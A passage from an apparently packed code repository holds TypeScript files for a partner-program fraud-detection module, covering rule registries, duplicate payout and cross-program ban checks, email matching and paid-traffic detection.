// Group partners by program enrollment\n  let partnersByProgram = programEnrollments.reduce((map, e) => {\n    if (!map.has(e.programId)) {\n      map.set(e.programId, []);\n    }\n\n    map.get(e.programId)!.push({\n      partnerId: e.partnerId,\n      status: e.status,\n    });\n\n    return map;\n  }, new Map<string, Pick<ProgramEnrollment, \"partnerId\" | \"status\">[]>());\n\n  // Filter out programs with only one partner\n  partnersByProgram = new Map(\n    Array.from(partnersByProgram.entries()).filter(\n      ([_, partners]) => partners.length > 1,\n    ),\n  );\n\n  if (partnersByProgram.size === 0) {\n    return;\n  }\n\n  const fraudEvents: CreateFraudEventInput[] = [];\n\n  for (const [programId, partners] of partnersByProgram.entries()) {\n    for (const sourcePartner of partners) {\n      if (INACTIVE_ENROLLMENT_STATUSES.includes(sourcePartner.status)) {\n        continue;\n      }\n\n      for (const enrolledPartner of partners) {\n        fraudEvents.push({\n          programId,\n          partnerId: sourcePartner.partnerId,\n          type: FraudRuleType.partnerDuplicatePayoutMethod,\n          metadata: {\n            ...(payoutMethodHash ? { payoutMethodHash } : {}),\n            ...(cryptoWalletAddress ? { cryptoWalletAddress } : {}),\n            duplicatePartnerId: enrolledPartner.partnerId,\n          },\n        });\n      }\n    }\n  }\n\n  await createFraudEvents(fraudEvents);\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/detect-record-fraud-application.ts",
    "content": "import { CreateFraudEventInput, PartnerProps, ProgramProps } from \"@/lib/types\";\nimport { INACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudRuleType } from \"@dub/prisma/client\";\nimport { createFraudEvents } from \"./create-fraud-events\";\nimport { isFraudRuleEnabled } from \"./get-merged-fraud-rules\";\n\ninterface FraudApplicationContext {\n  program: Pick<ProgramProps, \"id\">;\n  partner: Pick<PartnerProps, \"id\"> & {\n    payoutMethodHash: string | null;\n    cryptoWalletAddress: string | null;\n  };\n}\n\n// Detect and record fraud events for the partner when they apply to a program\n// Checks for cross-program bans and duplicate payout methods\nexport async function detectAndRecordFraudApplication({\n  context: { program, partner },\n}: {\n  context: FraudApplicationContext;\n}) {\n  const fraudEvents: CreateFraudEventInput[] = [];\n\n  const fraudRules = await prisma.fraudRule.findMany({\n    where: {\n      programId: program.id,\n    },\n  });\n\n  // Check if partner has been banned in other programs\n  // indicates cross-program fraud risk\n  if (\n    isFraudRuleEnabled({\n      fraudRules,\n      ruleType: FraudRuleType.partnerCrossProgramBan,\n    })\n  ) {\n    const bannedProgramEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        partnerId: partner.id,\n        programId: {\n          not: program.id,\n        },\n        status: \"banned\",\n      },\n      select: {\n        programId: true,\n        bannedReason: true,\n        bannedAt: true,\n      },\n    });\n\n    // Create a fraud event for each program that banned the partner\n    if (bannedProgramEnrollments.length > 0) {\n      for (const bannedEnrollment of bannedProgramEnrollments) {\n        fraudEvents.push({\n          programId: program.id,\n          partnerId: partner.id,\n          type: FraudRuleType.partnerCrossProgramBan,\n          sourceProgramId: bannedEnrollment.programId,\n          metadata: {\n            bannedReason: bannedEnrollment.bannedReason,\n            bannedAt: bannedEnrollment.bannedAt,\n          },\n        });\n      }\n    }\n  }\n\n  // Check if partner shares the same payoutMethodHash or cryptoWalletAddress with other partners\n  // indicates potential duplicate account fraud\n  if (\n    isFraudRuleEnabled({\n      fraudRules,\n      ruleType: FraudRuleType.partnerDuplicatePayoutMethod,\n    })\n  ) {\n    const { payoutMethodHash, cryptoWalletAddress } = partner;\n\n    if (payoutMethodHash || cryptoWalletAddress) {\n      const duplicatePartners = await prisma.partner.findMany({\n        where: {\n          programs: {\n            some: {\n              programId: program.id,\n            },\n          },\n          OR: [\n            ...(payoutMethodHash ? [{ payoutMethodHash }] : []),\n            ...(cryptoWalletAddress ? [{ cryptoWalletAddress }] : []),\n          ],\n        },\n        select: {\n          id: true,\n          payoutMethodHash: true,\n          cryptoWalletAddress: true,\n          programs: {\n            where: {\n              programId: program.id,\n            },\n            select: {\n              status: true,\n            },\n          },\n        },\n      });\n\n      if (duplicatePartners.length > 1) {\n        // For each partner, create fraud events pointing to all duplicates\n        for (const sourcePartner of duplicatePartners) {\n          const programEnrollment = sourcePartner.programs[0];\n\n          if (\n            INACTIVE_ENROLLMENT_STATUSES.includes(programEnrollment?.status)\n          ) {\n            continue;\n          }\n\n          for (const conflictingPartner of duplicatePartners) {\n            fraudEvents.push({\n              programId: program.id,\n              partnerId: sourcePartner.id,\n              type: FraudRuleType.partnerDuplicatePayoutMethod,\n              metadata: {\n                ...(payoutMethodHash ? { payoutMethodHash } : {}),\n                ...(cryptoWalletAddress ? { cryptoWalletAddress } : {}),\n                duplicatePartnerId: conflictingPartner.id,\n              },\n            });\n          }\n        }\n      }\n    }\n  }\n\n  await createFraudEvents(fraudEvents);\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/detect-record-fraud-event.ts",
    "content": "import { CreateFraudEventInput, FraudEventContext } from \"@/lib/types\";\nimport { INACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { prettyPrint } from \"@dub/utils\";\nimport { fraudEventContext } from \"../../zod/schemas/schemas\";\nimport { createFraudEvents } from \"./create-fraud-events\";\nimport { executeFraudRule } from \"./execute-fraud-rule\";\nimport { getMergedFraudRules } from \"./get-merged-fraud-rules\";\n\nexport async function detectAndRecordFraudEvent(context: FraudEventContext) {\n  const result = fraudEventContext.safeParse(context);\n\n  if (!result.success) {\n    console.error(\n      `[detectAndRecordFraudEvent] Invalid context ${result.error}`,\n    );\n    return;\n  }\n\n  const validatedContext = result.data;\n  const { programEnrollment } = validatedContext;\n\n  // Skip if program enrollment is inactive\n  if (INACTIVE_ENROLLMENT_STATUSES.includes(programEnrollment.status)) {\n    console.info(\n      `[detectAndRecordFraudEvent] Program enrollment is ${programEnrollment.status}, skipping...`,\n    );\n    return;\n  }\n\n  // Get program-specific rule overrides\n  const programRules = await prisma.fraudRule.findMany({\n    where: {\n      programId: validatedContext.program.id,\n    },\n  });\n\n  // Override global rules with program-specific overrides\n  const mergedRules = getMergedFraudRules(programRules);\n  const activeRules = mergedRules.filter((rule) => rule.enabled);\n\n  const triggeredRules: Pick<CreateFraudEventInput, \"type\" | \"metadata\">[] = [];\n\n  // Evaluate each rule\n  for (const rule of activeRules) {\n    try {\n      const { triggered, metadata } = await executeFraudRule({\n        type: rule.type,\n        config: rule.config,\n        context: validatedContext,\n      });\n\n      if (triggered) {\n        triggeredRules.push({\n          type: rule.type,\n          metadata,\n        });\n      }\n    } catch (error) {\n      console.error(\n        `[detectAndRecordFraudEvents] Error evaluating rule ${rule.type}:`,\n        error instanceof Error ? error.message : String(error),\n      );\n    }\n  }\n\n  if (triggeredRules.length === 0) {\n    return;\n  }\n\n  console.log(\n    `[detectAndRecordFraudEvent] Found ${triggeredRules.length} triggered rules`,\n    prettyPrint(triggeredRules),\n  );\n\n  await createFraudEvents(\n    triggeredRules.map((rule) => ({\n      programId: validatedContext.program.id,\n      partnerId: validatedContext.partner.id,\n      linkId: validatedContext.link.id,\n      customerId: validatedContext.customer.id,\n      eventId: validatedContext.event.id,\n      type: rule.type,\n      metadata: rule.metadata,\n    })),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/execute-fraud-rule.ts",
    "content": "import { FraudTriggeredRule } from \"@/lib/types\";\nimport { FraudRuleType } from \"@dub/prisma/client\";\nimport { defineFraudRule } from \"./define-fraud-rule\";\nimport { checkCustomerEmailMatch } from \"./rules/check-customer-email-match\";\nimport { checkCustomerEmailSuspicious } from \"./rules/check-customer-email-suspicious\";\nimport { checkPaidTrafficDetected } from \"./rules/check-paid-traffic-detected\";\nimport { checkReferralSourceBanned } from \"./rules/check-referral-source-banned\";\n\n// TS trick: these rules are evaluated elsewhere, so we stub their registry entry.\nconst defineFraudRuleStub = (type: FraudRuleType) => {\n  return defineFraudRule({\n    type,\n    evaluate: async () => ({ triggered: false }),\n  });\n};\n\nconst FRAUD_RULES_REGISTRY: Record<\n  FraudRuleType,\n  ReturnType<typeof defineFraudRule>\n> = {\n  customerEmailMatch: checkCustomerEmailMatch,\n  customerEmailSuspiciousDomain: checkCustomerEmailSuspicious,\n  referralSourceBanned: checkReferralSourceBanned,\n  paidTrafficDetected: checkPaidTrafficDetected,\n  partnerCrossProgramBan: defineFraudRuleStub(\"partnerCrossProgramBan\"),\n  partnerFraudReport: defineFraudRuleStub(\"partnerFraudReport\"),\n  partnerDuplicatePayoutMethod: defineFraudRuleStub(\n    \"partnerDuplicatePayoutMethod\",\n  ),\n};\n\n// Execute a fraud rule with the given context and configuration\nexport async function executeFraudRule<T extends FraudRuleType>({\n  type,\n  context,\n  config,\n}: {\n  type: T;\n  context: unknown;\n  config?: unknown;\n}): Promise<FraudTriggeredRule> {\n  const rule = FRAUD_RULES_REGISTRY[type];\n\n  if (!rule) {\n    throw new Error(`Unknown fraud rule: ${type}`);\n  }\n\n  return await rule.evaluate(context, config);\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/get-merged-fraud-rules.ts",
    "content": "import { FraudRuleProps } from \"@/lib/types\";\nimport { FraudRule, FraudRuleType } from \"@dub/prisma/client\";\nimport { CONFIGURABLE_FRAUD_RULES } from \"./constants\";\n\n// Merges global fraud rules with program-specific overrides.\n// Returns an array of merged rules with the program override taking precedence when it exists.\nexport function getMergedFraudRules(programRules: FraudRule[]) {\n  const mergedRules: FraudRuleProps[] = [];\n\n  CONFIGURABLE_FRAUD_RULES.forEach((globalRule) => {\n    const programRule = programRules.find(\n      (programRule) => programRule.type === globalRule.type,\n    );\n\n    // Program override exists - use it\n    if (programRule) {\n      mergedRules.push({\n        id: programRule.id,\n        name: globalRule.name,\n        description: globalRule.description,\n        type: globalRule.type as FraudRuleType,\n        config: programRule.config ?? undefined,\n        enabled: programRule.disabledAt === null,\n      });\n      return;\n    }\n\n    // No override - use global default\n    mergedRules.push({\n      id: undefined,\n      name: globalRule.name,\n      description: globalRule.description,\n      type: globalRule.type as FraudRuleType,\n      config: undefined,\n      enabled: true,\n    });\n  });\n\n  return mergedRules;\n}\n\nexport function isFraudRuleEnabled({\n  fraudRules,\n  ruleType,\n}: {\n  fraudRules: FraudRule[];\n  ruleType: FraudRuleType;\n}): boolean {\n  const mergedRules = getMergedFraudRules(fraudRules);\n  const fraudRule = mergedRules.find((r) => r.type === ruleType);\n\n  return fraudRule ? fraudRule.enabled : true;\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/get-partner-application-risks.ts",
    "content": "import { getHighestSeverity } from \"@/lib/get-highest-severity\";\nimport { ExtendedFraudRuleType, PartnerProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Program } from \"@dub/prisma/client\";\nimport { FRAUD_RULES } from \"./constants\";\nimport { checkPartnerEmailDomainMismatch } from \"./rules/check-partner-email-domain-mismatch\";\nimport { checkPartnerEmailMasked } from \"./rules/check-partner-email-masked\";\nimport { checkPartnerNoSocialLinks } from \"./rules/check-partner-no-social-links\";\nimport { checkPartnerNoVerifiedSocialLinks } from \"./rules/check-partner-no-verified-social-links\";\n\nexport async function getPartnerApplicationRisks({\n  program,\n  partner,\n}: {\n  program: Pick<Program, \"id\">;\n  partner: Pick<PartnerProps, \"id\" | \"email\" | \"country\" | \"platforms\">;\n}) {\n  const fraudGroups = await prisma.fraudEventGroup.findMany({\n    where: {\n      programId: program.id,\n      partnerId: partner.id,\n      status: \"pending\",\n      type: {\n        in: [\"partnerCrossProgramBan\", \"partnerDuplicatePayoutMethod\"],\n      },\n    },\n  });\n\n  const hasCrossProgramBan = fraudGroups.some(\n    (group) => group.type === \"partnerCrossProgramBan\",\n  );\n\n  const hasDuplicatePayoutMethod = fraudGroups.some(\n    (group) => group.type === \"partnerDuplicatePayoutMethod\",\n  );\n\n  const risksDetected: Partial<Record<ExtendedFraudRuleType, boolean>> = {\n    partnerCrossProgramBan: hasCrossProgramBan,\n    partnerDuplicatePayoutMethod: hasDuplicatePayoutMethod,\n    partnerEmailDomainMismatch: checkPartnerEmailDomainMismatch(partner),\n    partnerEmailMasked: checkPartnerEmailMasked(partner),\n    partnerNoSocialLinks: checkPartnerNoSocialLinks(partner),\n    partnerNoVerifiedSocialLinks: checkPartnerNoVerifiedSocialLinks(partner),\n  };\n\n  const triggeredRules = FRAUD_RULES.filter(\n    (rule) => risksDetected[rule.type] === true,\n  );\n\n  const riskSeverity = getHighestSeverity(triggeredRules);\n\n  return {\n    risksDetected,\n    riskSeverity,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/report-cross-program-ban-to-network.ts",
    "content": "import { createFraudEvents } from \"@/lib/api/fraud/create-fraud-events\";\nimport { isFraudRuleEnabled } from \"@/lib/api/fraud/get-merged-fraud-rules\";\nimport { INACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudRuleType, PartnerBannedReason } from \"@dub/prisma/client\";\n\n// Creates partnerCrossProgramBan fraud events in other programs where the partner is enrolled.\n// Used when a program bans a partner so that other programs can be alerted about cross-program\n// fraud risk. Only programs with the partnerCrossProgramBan rule enabled receive events.\nexport async function reportCrossProgramBanToNetwork({\n  partnerId,\n  programId,\n  bannedReason,\n  bannedAt,\n}: {\n  partnerId: string;\n  programId: string; // The program that issued the ban\n  bannedReason: PartnerBannedReason | null;\n  bannedAt: Date | null;\n}) {\n  let affectedProgramEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partnerId,\n      programId: {\n        not: programId,\n      },\n      status: {\n        notIn: INACTIVE_ENROLLMENT_STATUSES,\n      },\n    },\n    select: {\n      programId: true,\n      partnerId: true,\n      program: {\n        select: {\n          fraudRules: true,\n        },\n      },\n    },\n  });\n\n  if (affectedProgramEnrollments.length === 0) {\n    return;\n  }\n\n  // Filter out programs where the partnerCrossProgramBan rule is disabled\n  affectedProgramEnrollments = affectedProgramEnrollments.filter((enrollment) =>\n    isFraudRuleEnabled({\n      fraudRules: enrollment.program.fraudRules,\n      ruleType: FraudRuleType.partnerCrossProgramBan,\n    }),\n  );\n\n  if (affectedProgramEnrollments.length === 0) {\n    return;\n  }\n\n  await createFraudEvents(\n    affectedProgramEnrollments.map((affectedEnrollment) => ({\n      programId: affectedEnrollment.programId,\n      partnerId: affectedEnrollment.partnerId,\n      type: FraudRuleType.partnerCrossProgramBan,\n      sourceProgramId: programId,\n      metadata: {\n        bannedReason,\n        bannedAt,\n      },\n    })),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/report-fraud-to-network.ts",
    "content": "import { createFraudEvents } from \"@/lib/api/fraud/create-fraud-events\";\nimport { isFraudRuleEnabled } from \"@/lib/api/fraud/get-merged-fraud-rules\";\nimport { INACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudRuleType } from \"@dub/prisma/client\";\n\n// Creates fraud report events in other programs where the given partners are enrolled.\n// Used when a program rejects (and reports) a partner so that other programs can be\n// alerted about suspected fraud. Only programs with the partnerFraudReport rule\n// enabled receive events.\nexport async function reportFraudToNetwork({\n  programId,\n  partnerIds,\n}: {\n  programId: string; // The program that reported the fraud,\n  partnerIds: string[];\n}) {\n  if (partnerIds.length === 0) {\n    return;\n  }\n\n  let affectedProgramEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partnerId: {\n        in: partnerIds,\n      },\n      programId: {\n        not: programId,\n      },\n      status: {\n        notIn: INACTIVE_ENROLLMENT_STATUSES,\n      },\n    },\n    select: {\n      programId: true,\n      partnerId: true,\n      program: {\n        select: {\n          fraudRules: true,\n        },\n      },\n    },\n  });\n\n  if (affectedProgramEnrollments.length === 0) {\n    return;\n  }\n\n  // Filter out programs where the partnerFraudReport rule is disabled\n  affectedProgramEnrollments = affectedProgramEnrollments.filter((enrollment) =>\n    isFraudRuleEnabled({\n      fraudRules: enrollment.program.fraudRules,\n      ruleType: FraudRuleType.partnerFraudReport,\n    }),\n  );\n\n  if (affectedProgramEnrollments.length === 0) {\n    return;\n  }\n\n  await createFraudEvents(\n    affectedProgramEnrollments.map((affectedEnrollment) => ({\n      programId: affectedEnrollment.programId,\n      partnerId: affectedEnrollment.partnerId,\n      type: FraudRuleType.partnerFraudReport,\n      sourceProgramId: programId,\n    })),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/resolve-fraud-groups.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { prettyPrint } from \"@dub/utils\";\n\nexport async function resolveFraudGroups({\n  where,\n  userId,\n  resolutionReason,\n}: {\n  where: Prisma.FraudEventGroupWhereInput;\n  userId?: string;\n  resolutionReason?: string;\n}) {\n  const { count } = await prisma.fraudEventGroup.updateMany({\n    where: {\n      ...where,\n      status: \"pending\",\n    },\n    data: {\n      userId,\n      resolutionReason,\n      resolvedAt: new Date(),\n      status: \"resolved\",\n    },\n  });\n\n  console.info(`Resolved ${count} fraud event groups ${prettyPrint(where)}`);\n\n  return count;\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/rules/check-customer-email-match.ts",
    "content": "import { extractEmailDomain } from \"@/lib/email/extract-email-domain\";\nimport { isGenericEmail } from \"@/lib/is-generic-email\";\nimport { FraudEventContext } from \"@/lib/types\";\nimport { CustomerEmailMatchType } from \"@/lib/zod/schemas/fraud\";\nimport { prisma } from \"@dub/prisma\";\nimport { defineFraudRule } from \"../define-fraud-rule\";\nimport { normalizeEmail } from \"../utils\";\n\n// Partner's email matches a customer's email, shares the same email domain,\n// or the customer's domain matches a previously referred customer.\nexport const checkCustomerEmailMatch = defineFraudRule({\n  type: \"customerEmailMatch\",\n  evaluate: async ({ program, partner, customer }: FraudEventContext) => {\n    // Return false if either email is missing\n    if (!partner.email || !customer.email) {\n      return {\n        triggered: false,\n      };\n    }\n\n    // Normalize both emails\n    const normalizedPartnerEmail = normalizeEmail(partner.email);\n    const normalizedCustomerEmail = normalizeEmail(customer.email);\n\n    // 1. Exact email match (strongest signal)\n    if (normalizedPartnerEmail === normalizedCustomerEmail) {\n      return {\n        triggered: true,\n        metadata: {\n          matchType: CustomerEmailMatchType.EXACT,\n        },\n      };\n    }\n\n    // Extract domains for domain-level checks\n    const partnerEmailDomain = extractEmailDomain(partner.email);\n    const customerEmailDomain = extractEmailDomain(customer.email);\n\n    if (!partnerEmailDomain || !customerEmailDomain) {\n      return {\n        triggered: false,\n      };\n    }\n\n    // Skip domain matching for free email providers\n    if (isGenericEmail(customer.email)) {\n      return {\n        triggered: false,\n      };\n    }\n\n    // 2. Partner-customer domain match\n    if (partnerEmailDomain === customerEmailDomain) {\n      return {\n        triggered: true,\n        metadata: {\n          matchType: CustomerEmailMatchType.DOMAIN_MATCH,\n        },\n      };\n    }\n\n    // 3. Historical domain match — customer's email domain matches\n    // a previously referred customer from the same partner\n\n    const shouldCheckHistoricalDomainMatch =\n      (\"isFirstConversion\" in customer && customer.isFirstConversion) ||\n      !(\"isFirstConversion\" in customer);\n\n    if (shouldCheckHistoricalDomainMatch) {\n      const previousCustomer = await prisma.customer.findFirst({\n        where: {\n          programId: program.id,\n          partnerId: partner.id,\n          id: {\n            not: customer.id,\n          },\n          email: {\n            endsWith: `@${customerEmailDomain}`,\n          },\n        },\n        select: {\n          id: true,\n        },\n      });\n\n      if (previousCustomer) {\n        return {\n          triggered: true,\n          metadata: {\n            matchType: CustomerEmailMatchType.HISTORICAL_DOMAIN_MATCH,\n          },\n        };\n      }\n    }\n\n    return {\n      triggered: false,\n    };\n  },\n});\n"
  },
  {
    "path": "apps/web/lib/api/fraud/rules/check-customer-email-suspicious.ts",
    "content": "import { extractEmailDomain } from \"@/lib/email/extract-email-domain\";\nimport { FraudEventContext } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash/redis\";\nimport { defineFraudRule } from \"../define-fraud-rule\";\n\nexport const checkCustomerEmailSuspicious = defineFraudRule({\n  type: \"customerEmailSuspiciousDomain\",\n  evaluate: async ({ customer }: FraudEventContext) => {\n    // If no customer email provided, rule doesn't trigger\n    if (!customer.email) {\n      return {\n        triggered: false,\n      };\n    }\n\n    const domain = extractEmailDomain(customer.email);\n    if (!domain) {\n      return {\n        triggered: false,\n      };\n    }\n\n    try {\n      const isDisposable = await redis.sismember(\n        \"disposableEmailDomains\",\n        domain,\n      );\n\n      return {\n        triggered: isDisposable === 1,\n      };\n    } catch (error) {\n      // If Redis check fails, log error but don't trigger fraud\n      console.error(\n        \"Error checking disposable email domain:\",\n        error instanceof Error ? error.message : String(error),\n      );\n\n      return {\n        triggered: false,\n      };\n    }\n  },\n});\n"
  },
  {
    "path": "apps/web/lib/api/fraud/rules/check-paid-traffic-detected.ts",
    "content": "import { FraudEventContext, PaidTrafficPlatform } from \"@/lib/types\";\nimport { getSearchParams } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport {\n  PAID_TRAFFIC_PLATFORMS,\n  PAID_TRAFFIC_PLATFORMS_CONFIG,\n} from \"../constants\";\nimport { defineFraudRule } from \"../define-fraud-rule\";\n\nconst configSchema = z.object({\n  platforms: z.array(z.enum(PAID_TRAFFIC_PLATFORMS)).optional().default([]),\n  google: z\n    .object({\n      whitelistedCampaignIds: z.array(z.string()).optional().default([]),\n    })\n    .optional(),\n});\n\nconst defaultConfig: z.infer<typeof configSchema> = {\n  platforms: [\"google\"],\n  google: { whitelistedCampaignIds: [] },\n};\n\nexport const checkPaidTrafficDetected = defineFraudRule({\n  type: \"paidTrafficDetected\",\n  evaluate: async ({ click }: FraudEventContext, rawConfig) => {\n    const parsedConfig = configSchema.safeParse(rawConfig ?? defaultConfig);\n\n    if (!parsedConfig.success) {\n      console.error(\n        `[checkPaidTrafficDetected] Invalid config:`,\n        parsedConfig.error,\n      );\n\n      return {\n        triggered: false,\n      };\n    }\n\n    const config = parsedConfig.data;\n\n    if (config.platforms.length === 0) {\n      return {\n        triggered: false,\n      };\n    }\n\n    if (!click.url) {\n      return {\n        triggered: false,\n      };\n    }\n\n    // Find the query params from the final URL\n    const queryParams = getSearchParams(click.url);\n    const queryParamsKeys = Object.keys(queryParams);\n\n    let source: PaidTrafficPlatform | null = null;\n\n    for (const platform of config.platforms) {\n      const foundPlatform = PAID_TRAFFIC_PLATFORMS_CONFIG.find(\n        (p) => p.id === platform,\n      );\n\n      if (!foundPlatform || !foundPlatform.queryParams) {\n        continue;\n      }\n\n      for (const queryParamKey of queryParamsKeys) {\n        if (foundPlatform.queryParams.includes(queryParamKey)) {\n          source = foundPlatform.id;\n          break;\n        }\n      }\n    }\n\n    // Check if the source is Google and if the campaign ID is in the allowlist\n    if (source === \"google\") {\n      const whitelistedCampaignIds =\n        config.google?.whitelistedCampaignIds?.filter(Boolean) ?? [];\n\n      if (whitelistedCampaignIds.length > 0) {\n        const paramsToCheck = [\"gad_campaignid\", \"utm_campaign\"];\n\n        const matched = paramsToCheck.some((param) => {\n          const value = queryParams[param]?.trim();\n          return value && whitelistedCampaignIds.includes(value);\n        });\n\n        if (matched) {\n          return {\n            triggered: false,\n          };\n        }\n      }\n    }\n\n    if (source) {\n      return {\n        triggered: true,\n        metadata: {\n          source,\n          url: click.url,\n        },\n      };\n    }\n\n    return {\n      triggered: false,\n    };\n  },\n});\n"
  },
  {
    "path": "apps/web/lib/api/fraud/rules/check-partner-email-domain-mismatch.ts",
    "content": "import { PartnerProps } from \"@/lib/types\";\n\nfunction normalizeDomain(domain: string) {\n  return domain\n    .toLowerCase()\n    .replace(/^www\\./, \"\")\n    .trim();\n}\n\n// Checks if the partner's email domain doesn't match their website domain\nexport function checkPartnerEmailDomainMismatch(\n  partner: Pick<PartnerProps, \"email\" | \"platforms\">,\n) {\n  if (!partner.email || partner.platforms.length === 0) {\n    return false;\n  }\n\n  const website = partner.platforms.find((p) => p.type === \"website\");\n\n  if (!website || !website.identifier) {\n    return false;\n  }\n\n  const emailParts = partner.email.split(\"@\");\n  if (emailParts.length !== 2 || !emailParts[0] || !emailParts[1]) {\n    return false;\n  }\n\n  const emailDomain = normalizeDomain(emailParts[1]);\n  let websiteDomain: string;\n\n  try {\n    const websiteUrl = new URL(website.identifier);\n    websiteDomain = normalizeDomain(websiteUrl.hostname);\n  } catch (error) {\n    return false;\n  }\n\n  return emailDomain !== websiteDomain;\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/rules/check-partner-email-masked.ts",
    "content": "import { extractEmailDomain } from \"@/lib/email/extract-email-domain\";\nimport { PartnerProps } from \"@/lib/types\";\n\n// Checks if the partner is using an Apple private relay email address\nexport function checkPartnerEmailMasked(partner: Pick<PartnerProps, \"email\">) {\n  if (!partner.email) {\n    return false;\n  }\n\n  const domain = extractEmailDomain(partner.email);\n  if (!domain) {\n    return false;\n  }\n\n  return domain === \"privaterelay.appleid.com\";\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/rules/check-partner-no-social-links.ts",
    "content": "import { PartnerProps } from \"@/lib/types\";\n\n// Checks if the partner has neither a website nor any social media links\nexport function checkPartnerNoSocialLinks(\n  partner: Pick<PartnerProps, \"platforms\">,\n) {\n  return !partner.platforms.some(\n    (p) => typeof p.identifier === \"string\" && p.identifier.trim().length > 0,\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/rules/check-partner-no-verified-social-links.ts",
    "content": "import { PartnerProps } from \"@/lib/types\";\n\n// Checks if the partner has no verified website or social media links\nexport function checkPartnerNoVerifiedSocialLinks(\n  partner: Pick<PartnerProps, \"platforms\">,\n) {\n  return !partner.platforms.some((p) => p.verifiedAt != null);\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/rules/check-referral-source-banned.ts",
    "content": "import { FraudEventContext } from \"@/lib/types\";\nimport { getDomainWithoutWWW } from \"@dub/utils\";\nimport { minimatch } from \"minimatch\";\nimport * as z from \"zod/v4\";\nimport { defineFraudRule } from \"../define-fraud-rule\";\n\nconst configSchema = z.object({\n  domains: z.array(z.string()).optional().default([]),\n});\n\nconst defaultConfig: z.infer<typeof configSchema> = {\n  domains: [],\n};\n\nexport const checkReferralSourceBanned = defineFraudRule({\n  type: \"referralSourceBanned\",\n  evaluate: async ({ click }: FraudEventContext, rawConfig) => {\n    const parsedConfig = configSchema.safeParse(rawConfig ?? defaultConfig);\n\n    if (!parsedConfig.success) {\n      console.error(\n        `[checkReferralSourceBanned] Invalid config:`,\n        parsedConfig.error,\n      );\n\n      return {\n        triggered: false,\n      };\n    }\n\n    const config = parsedConfig.data;\n\n    // Normalize banned domains by extracting domains and removing www. prefix\n    const normalizedBannedDomains = config.domains\n      .map((domain) => getDomainWithoutWWW(domain))\n      .filter((domain): domain is string => Boolean(domain));\n\n    if (normalizedBannedDomains.length === 0 || !click) {\n      return {\n        triggered: false,\n      };\n    }\n\n    // Return early if both referer and referer_url are null/empty\n    if (!click.referer && !click.referer_url) {\n      return {\n        triggered: false,\n      };\n    }\n\n    // Check both referer and referer_url against banned sources\n    // Normalize referrers by extracting domains and removing www. prefix\n    const referrerCandidates = [click.referer, click.referer_url]\n      .filter((value): value is string => Boolean(value))\n      .map((referrer) => getDomainWithoutWWW(referrer))\n      .filter((domain): domain is string => Boolean(domain));\n\n    for (const referrer of referrerCandidates) {\n      for (const source of normalizedBannedDomains) {\n        if (minimatch(referrer, source, { nocase: true })) {\n          return {\n            triggered: true,\n            metadata: {\n              source,\n            },\n          };\n        }\n      }\n    }\n\n    return {\n      triggered: false,\n    };\n  },\n});\n"
  },
  {
    "path": "apps/web/lib/api/fraud/utils.ts",
    "content": "import { CreateFraudEventInput } from \"@/lib/types\";\nimport { createHash } from \"crypto\";\n\ntype CreateEventHashInput = Pick<\n  CreateFraudEventInput,\n  | \"type\"\n  | \"programId\"\n  | \"partnerId\"\n  | \"customerId\"\n  | \"sourceProgramId\"\n  | \"metadata\"\n>;\n\ntype GetIdentityFieldsForFraudEventInput = Pick<\n  CreateFraudEventInput,\n  \"type\" | \"partnerId\" | \"customerId\" | \"sourceProgramId\" | \"metadata\"\n>;\n\n// Normalize email for comparison\nexport function normalizeEmail(email: string) {\n  const trimmed = email.toLowerCase().trim();\n  const parts = trimmed.split(\"@\");\n\n  if (parts.length !== 2) {\n    return trimmed;\n  }\n\n  let [username, domain] = parts;\n\n  // Strip plus addressing for all domains\n  const plusIndex = username.indexOf(\"+\");\n  if (plusIndex !== -1) {\n    username = username.substring(0, plusIndex);\n  }\n\n  // Gmail and Google Mail treat dots as irrelevant\n  if (domain === \"gmail.com\" || domain === \"googlemail.com\") {\n    username = username.replace(/\\./g, \"\");\n  }\n\n  return `${username}@${domain}`;\n}\n\nfunction createHashKey(value: string): string {\n  return createHash(\"sha256\").update(value).digest(\"base64url\").slice(0, 24);\n}\n\n// Creates a unique hash for a fraud event to enable deduplication.\nexport function createFraudEventHash(fraudEvent: CreateEventHashInput) {\n  const identityFields = getIdentityFieldsForFraudEvent(fraudEvent);\n\n  const normalizedIdentityFields = Object.keys(identityFields)\n    .sort()\n    .map((key) => `${key}:${identityFields[key]}`)\n    .join(\"|\");\n\n  const raw = [\n    fraudEvent.programId,\n    fraudEvent.partnerId,\n    fraudEvent.type,\n    normalizedIdentityFields,\n  ]\n    .map((p) => p!.toLowerCase())\n    .join(\"|\");\n\n  return createHashKey(raw);\n}\n\n// Determines which identity fields should be used for fraud event hashing based on the fraud rule type.\n// Different fraud rules use different combinations of fields to uniquely identify fraud events.\nfunction getIdentityFieldsForFraudEvent({\n  type,\n  customerId,\n  metadata,\n  sourceProgramId,\n}: GetIdentityFieldsForFraudEventInput): Record<string, string> {\n  